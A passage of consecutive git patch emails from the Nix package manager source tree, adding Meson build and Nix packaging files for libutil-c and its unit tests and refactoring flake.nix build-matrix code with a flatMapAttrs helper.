+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'nix_api_util.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+headers = files(
+  'nix_api_util.h',
+  'nix_api_util_internal.h',
+)
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+nix_util = dependency('nix-util')
+if nix_util.type_name() == 'internal'
+  # subproject sadly no good for pkg-config module
+  deps_other += nix_util
+else
+  deps_public += nix_util
+endif
+
+# TODO rename, because it will conflict with downstream projects
+configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
+
+config_h = configure_file(
+  configuration : configdata,
+  output : 'config-util.h',
+)
+
+this_library = library(
+  'nixutilc',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  include_directories : include_dirs,
+  link_args: linker_export_flags,
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+libraries_private = []
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : deps_public,
+  requires_private : deps_private,
+  libraries_private : libraries_private,
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : [],
+))
diff --git a/src/libutil-c/meson.options b/src/libutil-c/meson.options
new file mode 100644
index 00000000000..04422feaf18
--- /dev/null
+++ b/src/libutil-c/meson.options
@@ -0,0 +1 @@
+# vim: filetype=meson
diff --git a/src/libutil-c/nix-util-c.pc.in b/src/libutil-c/nix-util-c.pc.in
new file mode 100644
index 00000000000..0ccae3f8a14
--- /dev/null
+++ b/src/libutil-c/nix-util-c.pc.in
@@ -0,0 +1,9 @@
+prefix=@prefix@
+libdir=@libdir@
+includedir=@includedir@
+
+Name: Nix libutil C API
+Description: Common functions for the Nix C API, such as error handling
+Version: @PACKAGE_VERSION@
+Libs: -L${libdir} -lnixutil
+Cflags: -I${includedir}/nix -std=c++2a
diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix
new file mode 100644
index 00000000000..a45b36d4c9d
--- /dev/null
+++ b/src/libutil-c/package.nix
@@ -0,0 +1,96 @@
+{ lib
+, stdenv
+, releaseTools
+, fileset
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-util-c";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+      (fileset.fileFilter (file: file.hasExt "h") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    nix-util
+  ]
+  ;
+
+  propagatedBuildInputs = [
+    nix-util
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libutil-test b/src/libutil-test
new file mode 120000
index 00000000000..62c86f54bbb
--- /dev/null
+++ b/src/libutil-test
@@ -0,0 +1 @@
+../tests/unit/libutil/
\ No newline at end of file
diff --git a/src/libutil-test-support b/src/libutil-test-support
new file mode 120000
index 00000000000..f7da46d4cd6
--- /dev/null
+++ b/src/libutil-test-support
@@ -0,0 +1 @@
+../tests/unit/libutil-support/
\ No newline at end of file
diff --git a/tests/unit/libutil-support/.version b/tests/unit/libutil-support/.version
new file mode 120000
index 00000000000..0df9915bfaa
--- /dev/null
+++ b/tests/unit/libutil-support/.version
@@ -0,0 +1 @@
+../../../.version
\ No newline at end of file
diff --git a/tests/unit/libutil-support/meson.build b/tests/unit/libutil-support/meson.build
new file mode 100644
index 00000000000..5912c00e06a
--- /dev/null
+++ b/tests/unit/libutil-support/meson.build
@@ -0,0 +1,110 @@
+project('nix-util-test-support', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+add_project_arguments(
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'tests/hash.cc',
+  'tests/string_callback.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+headers = files(
+  'tests/characterization.hh',
+  'tests/hash.hh',
+  'tests/nix_api_util.hh',
+  'tests/string_callback.hh',
+)
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+nix_util = dependency('nix-util')
+if nix_util.type_name() == 'internal'
+  # subproject sadly no good for pkg-config module
+  deps_other += nix_util
+else
+  deps_public += nix_util
+endif
+
+rapidcheck = dependency('rapidcheck')
+deps_public += rapidcheck
+
+this_library = library(
+  'nix-util-test-support',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  include_directories : include_dirs,
+  # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326
+  #       is available. See also ../libutil/build.meson
+  link_args: linker_export_flags + ['-lrapidcheck'],
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+libraries_private = []
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : deps_public,
+  requires_private : deps_private,
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : [],
+))
diff --git a/tests/unit/libutil-support/package.nix b/tests/unit/libutil-support/package.nix
new file mode 100644
index 00000000000..caa37b74871
--- /dev/null
+++ b/tests/unit/libutil-support/package.nix
@@ -0,0 +1,98 @@
+{ lib
+, stdenv
+, releaseTools
+, fileset
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util
+
+, rapidcheck
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-util-test-support";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      # ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    nix-util
+    rapidcheck
+  ]
+  ;
+
+  propagatedBuildInputs = [
+    nix-util
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/tests/unit/libutil/.version b/tests/unit/libutil/.version
new file mode 100644
index 00000000000..ad2261920c0
--- /dev/null
+++ b/tests/unit/libutil/.version
@@ -0,0 +1 @@
+2.24.0
diff --git a/tests/unit/libutil/meson.build b/tests/unit/libutil/meson.build
new file mode 100644
index 00000000000..56147686b04
--- /dev/null
+++ b/tests/unit/libutil/meson.build
@@ -0,0 +1,142 @@
+project('nix-util-test', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+configdata = configuration_data()
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util-test.h',
+  # '-include', 'config-store.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+# TODO rename, because it will conflict with downstream projects
+configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
+
+config_h = configure_file(
+  configuration : configdata,
+  output : 'config-util-test.h',
+)
+
+sources = files(
+  'args.cc',
+  'canon-path.cc',
+  'chunked-vector.cc',
+  'closure.cc',
+  'compression.cc',
+  'config.cc',
+  'file-content-address.cc',
+  'git.cc',
+  'hash.cc',
+  'hilite.cc',
+  'json-utils.cc',
+  'logging.cc',
+  'lru-cache.cc',
+  'nix_api_util.cc',
+  'pool.cc',
+  'references.cc',
+  'spawn.cc',
+  'suggestions.cc',
+  'tests.cc',
+  'url.cc',
+  'xml-writer.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+nix_util = dependency('nix-util')
+if nix_util.type_name() == 'internal'
+  # subproject sadly no good for pkg-config module
+  deps_other += nix_util
+else
+  deps_public += nix_util
+endif
+
+nix_util_c = dependency('nix-util-c')
+if nix_util_c.type_name() == 'internal'
+  # subproject sadly no good for pkg-config module
+  deps_other += nix_util_c
+else
+  deps_public += nix_util_c
+endif
+
+nix_util_test_support = dependency('nix-util-test-support')
+if nix_util_test_support.type_name() == 'internal'
+  # subproject sadly no good for pkg-config module
+  deps_other += nix_util_test_support
+else
+  deps_public += nix_util_test_support
+endif
+
+rapidcheck = dependency('rapidcheck')
+deps_public += rapidcheck
+
+gtest = dependency('gtest', main : true)
+deps_public += gtest
+
+this_exe = executable(
+  'nix-util-test',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  include_directories : include_dirs,
+  # TODO: -lrapidcheck, see ../libutil-support/build.meson
+  link_args: linker_export_flags + ['-lrapidcheck'],
+  # get main from gtest
+  install : true,
+)
+
+test('nix-util-test', this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_exe,
+  compile_args : ['-std=c++2a'],
+  dependencies : [],
+))
diff --git a/tests/unit/libutil/package.nix b/tests/unit/libutil/package.nix
new file mode 100644
index 00000000000..7a09e4aa5a7
--- /dev/null
+++ b/tests/unit/libutil/package.nix
@@ -0,0 +1,112 @@
+{ lib
+, stdenv
+, releaseTools
+, fileset
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util
+, nix-util-c
+, nix-util-test-support
+
+, rapidcheck
+, gtest
+, runCommand
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-util-test";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      # ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    nix-util
+    nix-util-c
+    nix-util-test-support
+    rapidcheck
+    gtest
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  passthru = {
+    tests = {
+      run = runCommand "${finalAttrs.pname}-run" {
+      } ''
+        PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
+        export _NIX_TEST_UNIT_DATA=${./data}
+        nix-util-test
+        touch $out
+      '';
+    };
+  };
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})

From 6a28566db663fe8b185142e0d9cfdb988f6b04a9 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 25 Jun 2024 15:49:39 +0200
Subject: [PATCH 413/528] refact: concatMapAttrs -> flatMapAttrs

This should be slightly easier to read.
We could apply this to all concatMapAttrs calls.
---
 flake.nix | 31 +++++++++++++++++++++++--------
 1 file changed, 23 insertions(+), 8 deletions(-)

diff --git a/flake.nix b/flake.nix
index aac45af34e9..1be9d2fc09f 100644
--- a/flake.nix
+++ b/flake.nix
@@ -58,6 +58,18 @@
         "stdenv"
       ];
 
+      /**
+        `flatMapAttrs attrs f` applies `f` to each attribute in `attrs` and
+        merges the results into a single attribute set.
+
+        This can be nested to form a build matrix where all the attributes
+        generated by the innermost `f` are returned as is.
+        (Provided that the names are unique.)
+
+        See https://nixos.org/manual/nixpkgs/stable/index.html#function-library-lib.attrsets.concatMapAttrs
+       */
+      flatMapAttrs = attrs: f: lib.concatMapAttrs f attrs;
+
       forAllSystems = lib.genAttrs systems;
 
       forAllCrossSystems = lib.genAttrs crossSystems;
@@ -319,17 +331,20 @@
         # system, we should reenable this.
         #perlBindings = self.hydraJobs.perlBindings.${system};
       }
-      // lib.concatMapAttrs (nixpkgsPrefix: nixpkgs: 
-          lib.concatMapAttrs (pkgName: pkg:
-            lib.concatMapAttrs (testName: test: {
-              # Add "passthru" tests
-              "${nixpkgsPrefix}${pkgName}-${testName}" = test;
-            }) pkg.tests or {}
-          ) nixpkgs.nix-components
-        ) {
+      # Add "passthru" tests
+      // flatMapAttrs {
           "" = nixpkgsFor.${system}.native;
           "static-" = nixpkgsFor.${system}.static;
         }
+        (nixpkgsPrefix: nixpkgs: 
+          flatMapAttrs nixpkgs.nix-components
+            (pkgName: pkg:
+              flatMapAttrs pkg.tests or {}
+              (testName: test: {
+                "${nixpkgsPrefix}${pkgName}-${testName}" = test;
+              })
+            )
+        )
       // devFlake.checks.${system} or {}
       );
 

From 1eaddb209d240f424b8a40930b963c19a0883a57 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 25 Jun 2024 16:17:13 +0200
Subject: [PATCH 414/528] TMP: disable static meson build on darwin

---
 flake.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/flake.nix b/flake.nix
index 1be9d2fc09f..c499fea5b9d 100644
--- a/flake.nix
+++ b/flake.nix
@@ -334,7 +334,8 @@
       # Add "passthru" tests
       // flatMapAttrs {
           "" = nixpkgsFor.${system}.native;
-          "static-" = nixpkgsFor.${system}.static;
+          # FIXME: Static build on darwin currently broken
+          # "static-" = nixpkgsFor.${system}.static;
         }
         (nixpkgsPrefix: nixpkgs: 
           flatMapAttrs nixpkgs.nix-components

From ae3304bde9730e7cc2f43b71540fabd20fd12c6f Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 25 Jun 2024 16:56:45 +0200
Subject: [PATCH 415/528] Test static build of nix-util on non-darwin

---
 flake.nix | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/flake.nix b/flake.nix
index c499fea5b9d..35280f038a4 100644
--- a/flake.nix
+++ b/flake.nix
@@ -332,11 +332,13 @@
         #perlBindings = self.hydraJobs.perlBindings.${system};
       }
       # Add "passthru" tests
-      // flatMapAttrs {
+      // flatMapAttrs ({
           "" = nixpkgsFor.${system}.native;
-          # FIXME: Static build on darwin currently broken
-          # "static-" = nixpkgsFor.${system}.static;
-        }
+        } // lib.optionalAttrs (! nixpkgsFor.${system}.native.stdenv.hostPlatform.isDarwin) {
+          # TODO: enable static builds for darwin, blocked on:
+          #       https://github.com/NixOS/nixpkgs/issues/320448
+          "static-" = nixpkgsFor.${system}.static;
+        })
         (nixpkgsPrefix: nixpkgs: 
           flatMapAttrs nixpkgs.nix-components
             (pkgName: pkg:

From fba81cf74b2081b5242126fac01061e1fedaa99d Mon Sep 17 00:00:00 2001
From: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
Date: Tue, 25 Jun 2024 18:44:56 -0400
Subject: [PATCH 416/528] docs: internal documentation touchup

Make two comments more accurate for the next reader.
---
 doc/manual/redirects.js   | 2 +-
 doc/manual/src/_redirects | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js
index 633932e5549..f7b479106a2 100644
--- a/doc/manual/redirects.js
+++ b/doc/manual/redirects.js
@@ -1,7 +1,7 @@
 // redirect rules for URL fragments (client-side) to prevent link rot.
 // this must be done on the client side, as web servers do not see the fragment part of the URL.
 // it will only work with JavaScript enabled in the browser, but this is the best we can do here.
-// see ./_redirects for path redirects (client-side)
+// see src/_redirects for path redirects (server-side)
 
 // redirects are declared as follows:
 // each entry has as its key a path matching the requested URL path, relative to the mdBook document root.
diff --git a/doc/manual/src/_redirects b/doc/manual/src/_redirects
index a04a36f1e17..7f8edca8e64 100644
--- a/doc/manual/src/_redirects
+++ b/doc/manual/src/_redirects
@@ -1,5 +1,5 @@
 # redirect rules for paths (server-side) to prevent link rot.
-# see ./redirects.js for redirects based on URL fragments (client-side)
+# see ../redirects.js for redirects based on URL fragments (client-side)
 #
 # concrete user story this supports:
 # - user finds URL to the manual for Nix x.y

From fd0b376c795f770a82c4f7b9ff5ef3df0c03e125 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 1 Feb 2024 12:27:29 +0100
Subject: [PATCH 417/528] libstore/worker.cc: Remove outdated comment

It was added above this conditional

    Worker::Worker(LocalStore & store)
        : store(store)
    {
        /* Debugging: prevent recursive workers. */
        if (working) abort();
        working = true;

However, `working` has since been removed.

Source: https://github.com/NixOS/nix/blame/7f8e805c8ef2d7728648553de6b762964730a09a/src/libstore/build.cc#L2617
---
 src/libstore/build/worker.cc | 1 -
 1 file changed, 1 deletion(-)

diff --git a/src/libstore/build/worker.cc b/src/libstore/build/worker.cc
index 31cfa8adcc8..8a5d6de725f 100644
--- a/src/libstore/build/worker.cc
+++ b/src/libstore/build/worker.cc
@@ -19,7 +19,6 @@ Worker::Worker(Store & store, Store & evalStore)
     , store(store)
     , evalStore(evalStore)
 {
-    /* Debugging: prevent recursive workers. */
     nrLocalBuilds = 0;
     nrSubstitutions = 0;
     lastWokenUp = steady_time_point::min();

From 6fe8fb967a71e95f04e286ea5301d33f592788bf Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 1 Feb 2024 12:39:45 +0100
Subject: [PATCH 418/528] libstore/worker.hh: Document Worker

---
 src/libstore/build/worker.hh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libstore/build/worker.hh b/src/libstore/build/worker.hh
index 7d67030d737..33a7bf01517 100644
--- a/src/libstore/build/worker.hh
+++ b/src/libstore/build/worker.hh
@@ -59,7 +59,7 @@ struct HookInstance;
 #endif
 
 /**
- * The worker class.
+ * Coordinates one or more realisations and their interdependencies.
  */
 class Worker
 {

From e28e6b96bb671309218e5b9de56aeac22b2bf7be Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 02:03:21 +0200
Subject: [PATCH 419/528] flake.nix: Tidy `packages` build matrix code

flatMapAttrs is easier to read because it introduces the values
before using them, kind of like a `let` bindings with multiple
values.

The repeated comments remind the reader of the purpose of the
innermost attrsets, which is actually very simple.
Knowing that they go right into the result should help a lot
with building a mental model for this pattern.
---
 flake.nix | 62 +++++++++++++++++++++++++++++--------------------------
 1 file changed, 33 insertions(+), 29 deletions(-)

diff --git a/flake.nix b/flake.nix
index 35280f038a4..dfae6ce2dde 100644
--- a/flake.nix
+++ b/flake.nix
@@ -351,36 +351,40 @@
       // devFlake.checks.${system} or {}
       );
 
-      packages = forAllSystems (system: {
-        inherit (nixpkgsFor.${system}.native)
-          changelog-d;
-        default = self.packages.${system}.nix;
-        nix-internal-api-docs = nixpkgsFor.${system}.native.nix-internal-api-docs;
-        nix-external-api-docs = nixpkgsFor.${system}.native.nix-external-api-docs;
-      } // lib.concatMapAttrs
-        # We need to flatten recursive attribute sets of derivations to pass `flake check`.
-        (pkgName: {}: {
-          "${pkgName}" = nixpkgsFor.${system}.native.${pkgName};
-          "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName};
-        } // lib.concatMapAttrs
-          (crossSystem: {}: {
-            "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.${pkgName};
-          })
-          (lib.genAttrs crossSystems (_: { }))
-        // lib.concatMapAttrs
-          (stdenvName: {}: {
-            "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".${pkgName};
-          })
-          (lib.genAttrs stdenvs (_: { })))
-        {
-          "nix" = { };
-          # Temporarily disabled because GitHub Actions OOM issues. Once
-          # the old build system is gone and we are back to one build
-          # system, we should reenable these.
-          #"nix-util" = { };
-          #"nix-store" = { };
-          #"nix-fetchers" = { };
+      packages = forAllSystems (system:
+        { # Here we put attributes that map 1:1 into packages.<system>, ie
+          # for which we don't apply the full build matrix such as cross or static.
+          inherit (nixpkgsFor.${system}.native)
+            changelog-d;
+          default = self.packages.${system}.nix;
+          nix-internal-api-docs = nixpkgsFor.${system}.native.nix-internal-api-docs;
+          nix-external-api-docs = nixpkgsFor.${system}.native.nix-external-api-docs;
         }
+        # We need to flatten recursive attribute sets of derivations to pass `flake check`.
+        // flatMapAttrs
+          { # Components we'll iterate over in the upcoming lambda
+            "nix" = { };
+            # Temporarily disabled because GitHub Actions OOM issues. Once
+            # the old build system is gone and we are back to one build
+            # system, we should reenable these.
+            #"nix-util" = { };
+            #"nix-store" = { };
+            #"nix-fetchers" = { };
+          }
+          (pkgName: {}: {
+              # These attributes go right into `packages.<system>`.
+              "${pkgName}" = nixpkgsFor.${system}.native.${pkgName};
+              "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName};
+            }
+            // flatMapAttrs (lib.genAttrs crossSystems (_: { })) (crossSystem: {}: {
+              # These attributes go right into `packages.<system>`.
+              "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.${pkgName};
+            })
+            // flatMapAttrs (lib.genAttrs stdenvs (_: { })) (stdenvName: {}: {
+              # These attributes go right into `packages.<system>`.
+              "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".${pkgName};
+            })
+          )
         // lib.optionalAttrs (builtins.elem system linux64BitSystems) {
         dockerImage =
           let

From a14faa869d12d6280ac5ebf94c585ef200bb4c9c Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 02:38:07 +0200
Subject: [PATCH 420/528] flake.nix: Use a Nixpkgs scope for components

---
 flake.nix                | 97 +++++-----------------------------------
 packaging/components.nix | 86 +++++++++++++++++++++++++++++++++++
 2 files changed, 96 insertions(+), 87 deletions(-)
 create mode 100644 packaging/components.nix

diff --git a/flake.nix b/flake.nix
index dfae6ce2dde..30a8e435486 100644
--- a/flake.nix
+++ b/flake.nix
@@ -172,93 +172,16 @@
             };
           });
 
-          # TODO: define everything here instead of top level?
-          nix-components = {
-            inherit (final)
-              nix-util
-              nix-util-test-support
-              nix-util-test
-              nix-util-c
-              nix-store
-              nix-fetchers
-              nix-perl-bindings
-              ;
-          };
-
-          nix-util = final.callPackage ./src/libutil/package.nix {
-            inherit
-              fileset
-              stdenv
-              officialRelease
-              versionSuffix
-              ;
-          };
-
-          nix-util-test-support = final.callPackage ./tests/unit/libutil-support/package.nix {
-            inherit
-              fileset
-              stdenv
-              versionSuffix
-              ;
-          };
-
-          nix-util-test = final.callPackage ./tests/unit/libutil/package.nix {
-            inherit
-              fileset
-              stdenv
-              versionSuffix
-              ;
-          };
-
-          nix-util-c = final.callPackage ./src/libutil-c/package.nix {
-            inherit
-              fileset
-              stdenv
-              versionSuffix
-              ;
-          };
-
